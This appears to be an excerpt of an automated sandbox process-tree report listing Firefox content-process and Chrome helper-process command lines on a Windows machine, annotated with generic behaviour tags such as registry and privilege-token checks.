C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10232 -prefsLen 36222 -prefMapHandle 10236 -prefMapSize 270978 -jsInitHandle 10244 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 10252 -initialChannelId {be0a8786-8171-4309-ae3c-f29dd209406c} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 37 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10436 -prefsLen 36222 -prefMapHandle 10440 -prefMapSize 270978 -jsInitHandle 10444 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 10408 -initialChannelId {33f474fc-8e1a-4c1c-b441-398c417281be} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 38 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10620 -prefsLen 36222 -prefMapHandle 10624 -prefMapSize 270978 -jsInitHandle 10628 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 10636 -initialChannelId {c9f54302-0088-49ed-8a58-434915f752b5} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 39 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4408 -prefsLen 36222 -prefMapHandle 4900 -prefMapSize 270978 -jsInitHandle 3040 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5316 -initialChannelId {4448a958-3521-4691-8903-1a23437e3cbd} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 40 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10936 -prefsLen 36222 -prefMapHandle 10940 -prefMapSize 270978 -jsInitHandle 10944 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 10952 -initialChannelId {ff6de5d3-5c88-49df-832c-c83fad081231} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 41 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11128 -prefsLen 36222 -prefMapHandle 11132 -prefMapSize 270978 -jsInitHandle 11136 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 11144 -initialChannelId {4b228e96-ec3c-439a-b5c7-22c8b1f3be67} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 42 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11324 -prefsLen 36222 -prefMapHandle 11328 -prefMapSize 270978 -jsInitHandle 11332 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 11340 -initialChannelId {ca2c6380-f9a6-491a-834c-e2f2f07631d4} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 43 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11516 -prefsLen 36222 -prefMapHandle 11520 -prefMapSize 270978 -jsInitHandle 11524 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 11532 -initialChannelId {451b57e4-c5ce-427a-9f32-e33925b295ce} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 44 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11708 -prefsLen 36222 -prefMapHandle 11712 -prefMapSize 270978 -jsInitHandle 11716 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 11724 -initialChannelId {2deac388-d9dc-486a-9506-4845f68f7f61} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 45 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 11900 -prefsLen 36222 -prefMapHandle 11904 -prefMapSize 270978 -jsInitHandle 11908 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 11916 -initialChannelId {59ebea90-b797-4dad-a188-ab011a57c718} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 46 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12252 -prefsLen 36222 -prefMapHandle 12256 -prefMapSize 270978 -jsInitHandle 12260 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 12268 -initialChannelId {06b4428b-9582-449f-93a7-7e949258c30f} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 47 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12424 -prefsLen 36222 -prefMapHandle 12428 -prefMapSize 270978 -jsInitHandle 12432 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 12440 -initialChannelId {4a70f844-31b1-411a-9a45-3e34a551ddbb} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 48 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12624 -prefsLen 36222 -prefMapHandle 12628 -prefMapSize 270978 -jsInitHandle 12632 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 12420 -initialChannelId {2daf9cb8-7490-4158-a231-fd4498c90eb6} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 49 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 12808 -prefsLen 36222 -prefMapHandle 12812 -prefMapSize 270978 -jsInitHandle 12816 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 12824 -initialChannelId {62b5cf57-497b-4ac8-9603-f85de7716bec} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 50 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13000 -prefsLen 36222 -prefMapHandle 13004 -prefMapSize 270978 -jsInitHandle 13008 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 13016 -initialChannelId {6e516165-1c28-40a8-bef2-d69c0f9eb339} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 51 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13192 -prefsLen 36222 -prefMapHandle 13196 -prefMapSize 270978 -jsInitHandle 13200 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 13208 -initialChannelId {8633aeed-8dc3-47d8-9263-d08ee4a15013} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 52 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13408 -prefsLen 36222 -prefMapHandle 13412 -prefMapSize 270978 -jsInitHandle 13416 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 13424 -initialChannelId {9dea6cae-e8b6-42dc-b74a-843ef6c660bc} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 53 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13600 -prefsLen 36222 -prefMapHandle 13604 -prefMapSize 270978 -jsInitHandle 13608 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 13616 -initialChannelId {bbf4643a-770e-4051-ba9c-a1bd4052a060} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 54 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 13812 -prefsLen 36222 -prefMapHandle 13816 -prefMapSize 270978 -jsInitHandle 13820 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 13828 -initialChannelId {1835c95d-306e-482a-8e11-28bcaa637eb1} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 55 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14004 -prefsLen 36222 -prefMapHandle 14008 -prefMapSize 270978 -jsInitHandle 14012 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 14020 -initialChannelId {8ade4521-128d-4430-be8d-1cfaf7712724} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 56 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14216 -prefsLen 36222 -prefMapHandle 14220 -prefMapSize 270978 -jsInitHandle 14224 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 14232 -initialChannelId {ffc63904-8993-4393-9f78-dba06103a7c7} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 57 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14432 -prefsLen 36222 -prefMapHandle 14436 -prefMapSize 270978 -jsInitHandle 14440 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 14448 -initialChannelId {644347b2-a371-4c66-ad00-b8b446c08e04} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 58 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14624 -prefsLen 36222 -prefMapHandle 14628 -prefMapSize 270978 -jsInitHandle 14632 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 14640 -initialChannelId {6ed3edc1-fbc5-4180-980e-efbb07d0ce21} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 59 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 14836 -prefsLen 36222 -prefMapHandle 14840 -prefMapSize 270978 -jsInitHandle 14844 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 14852 -initialChannelId {c2963663-45f6-4e41-baf8-b14d3b318db8} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 60 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 15028 -prefsLen 36222 -prefMapHandle 15032 -prefMapSize 270978 -jsInitHandle 15036 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 15044 -initialChannelId {9b626817-889d-4514-a22c-b4c4f3f8f6e0} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 61 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 15220 -prefsLen 36222 -prefMapHandle 15224 -prefMapSize 270978 -jsInitHandle 15228 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 15236 -initialChannelId {93ea42ee-f595-45b0-a124-305e9ae4ce98} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 62 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 15416 -prefsLen 36222 -prefMapHandle 15420 -prefMapSize 270978 -jsInitHandle 15424 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 15432 -initialChannelId {8b8cacba-fa7c-45f4-b60a-405ea9836d3b} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 63 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 15628 -prefsLen 36222 -prefMapHandle 15632 -prefMapSize 270978 -jsInitHandle 15636 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 15644 -initialChannelId {40b7f0c9-6dd1-4713-8574-9856cd49b6a0} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 64 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 15844 -prefsLen 36222 -prefMapHandle 15848 -prefMapSize 270978 -jsInitHandle 15852 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 15856 -initialChannelId {79608293-4d4a-4da4-88c7-baef03fdcba0} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 65 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 16052 -prefsLen 36222 -prefMapHandle 16056 -prefMapSize 270978 -jsInitHandle 16060 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 16068 -initialChannelId {6b419537-bda0-4e40-8dc4-304c19d49048} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 66 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 16244 -prefsLen 36222 -prefMapHandle 16248 -prefMapSize 270978 -jsInitHandle 16252 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 16260 -initialChannelId {ba295e17-cb3c-4de9-a148-3550fc5bc55b} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 67 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 16500 -prefsLen 36222 -prefMapHandle 16504 -prefMapSize 270978 -jsInitHandle 16508 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 16516 -initialChannelId {b1609789-521f-46c2-b7fa-82402decb89a} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 68 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 16692 -prefsLen 36222 -prefMapHandle 16696 -prefMapSize 270978 -jsInitHandle 16700 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 16708 -initialChannelId {e38b660d-9fc7-40fc-876b-08f0d2e895ba} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 69 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 16888 -prefsLen 36222 -prefMapHandle 16892 -prefMapSize 270978 -jsInitHandle 16896 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 16904 -initialChannelId {a022b231-db17-42bb-8827-19113ef19ee2} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 70 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 17084 -prefsLen 36222 -prefMapHandle 17088 -prefMapSize 270978 -jsInitHandle 17092 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 17100 -initialChannelId {728e3474-81cb-42fc-96e7-7a73634f7b14} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 71 tab3⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 17276 -prefsLen 36222 -prefMapHandle 17280 -prefMapSize 270978 -jsInitHandle 17284 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 17292 -initialChannelId {3b1462f4-c520-42e3-b3e9-b3913d7174ce} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 72 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 17496 -prefsLen 36222 -prefMapHandle 17500 -prefMapSize 270978 -jsInitHandle 17504 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 17512 -initialChannelId {2f26bd9e-1639-4a39-b2ef-9129477d6f90} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 73 tab3⤵
- Checks processor information in registry
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2908 -prefsLen 36222 -prefMapHandle 5448 -prefMapSize 270978 -jsInitHandle 5804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 17684 -initialChannelId {4d7dff01-e6af-4b02-8015-1f1664c6082e} -parentPid 5964 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5964" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 74 tab3⤵
- Checks processor information in registry
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff9753cc728,0x7ff9753cc734,0x7ff9753cc7402⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1960,i,14959080634245244814,5035729443305318815,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2092 /prefetch:32⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1744,i,9017120804976195717,14740076447651936478,262144 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1932 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,17717326813514781617,4494673524133033919,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2476 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3252,i,18359256021751056033,14834050415201492905,2097152 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3260 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3460,i,6898464945753815500,2038608976883890258,2097152 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3480 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4476,i,7398607916624126906,4433653321085100290,2097152 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4500 /prefetch:22⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4688,i,13447264649368921210,2011337833202392395,2097152 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4748 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4896,i,4017108175286279991,2301646532714435000,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4916 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5068,i,16798841350462331038,10613764399867866482,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5056 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5620,i,4271849193590946596,11087030522044846808,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5628 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5800,i,4090576123737183995,9314109336576145864,2097152 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5808 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3496,i,10204755571046098973,106047837594213479,2097152 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3256 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5944,i,12371204071698811406,1722396200519164962,524288 --field-trial-handle=1936,i,8324863160420753958,1698308976993167205,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4880 /prefetch:82⤵
-
-
